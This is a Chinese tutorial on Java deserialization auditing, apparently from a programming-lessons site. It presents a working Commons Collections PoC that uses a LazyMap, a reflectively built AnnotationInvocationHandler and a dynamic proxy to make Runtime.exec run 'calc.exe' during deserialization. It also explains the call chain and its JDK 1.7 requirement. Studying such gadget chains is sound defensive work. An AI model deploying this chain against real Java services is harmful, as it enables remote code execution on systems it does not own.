zl程序教程

您现在的位置是:首页 >  Java

当前栏目

Java代码审计——Commons Collections AnnotationInvocationHandler 动态代理调用链

2023-04-18 14:06:16 时间

0x00 前言

反序列化总纲

顺序还是:迭代链-调用迭代链-触发调用迭代链
这里和Transformed的区别在于这里用到了Java动态代理。动态代理可以参考:https://www.cnblogs.com/gonjan-blog/p/6685611.html
或者网上随便搜索资料。

0x02 动态代理调用链

1.简述动态代理

简单的说就是执行被代理对象的任何方法都会先触发代理类的invoke方法。

比如map.get 就会触发代理对象.invoke方法。

2.poc

先上 poc

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

这里除了使用反射去调用AnnotationInvocationHandler,然后 InvocationHandler设置一个代理。

3. 可以代理的条件

这里可以使用代理的条件有三个:

  • 目标包含invoke
  • invoke方法中调用get
  • readObject调用已有方法

因为AnnotationInvocationHandler继承InvocationHandler肯定是包含了invoke方法的, invoke方法中看到了get:
在这里插入图片描述
在readObject中调用了entrySet可以触发invoke
在这里插入图片描述

4.调用链

那么调用链实际上就呼之欲出了

  • AnnotationInvocationHandler-readObject
    • entrySet
    • invok
      • get
      • LazyMap-get
        • 调用链
        • 迭代链

0x03 使用条件

jdk1.7

0x04 要点笔记

  • 除开需要AnnotionInvocationHandler使用getDeclaredConstructor。
  • 还需要使用Proxy.newProxyInstance进行代理,从而触发invoke方法。